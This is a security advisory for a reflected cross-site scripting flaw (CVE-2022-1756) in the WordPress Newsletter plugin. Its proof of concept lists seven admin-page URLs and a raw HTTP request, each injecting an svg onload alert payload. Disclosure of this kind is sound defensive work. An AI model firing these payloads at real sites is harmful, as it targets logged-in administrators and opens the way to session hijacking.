Newsletter < 7.4.5 – Reflected Cross-Site Scripting | CVE 2022-1756

Description

The plugin does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.

Proof of Concept

https://example.com/wp-admin/admin.php?page=newsletter_main_index&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_main_main&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_subscription_options&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_subscription_antibot&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_emails_index&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_users_index&debug&<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/admin.php?page=newsletter_main_extensions&debug&<svg/onload=alert(/XSS/)>

GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/XSS/)> HTTP/1.1
Host: example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [logged in admin]
Upgrade-Insecure-Requests: 1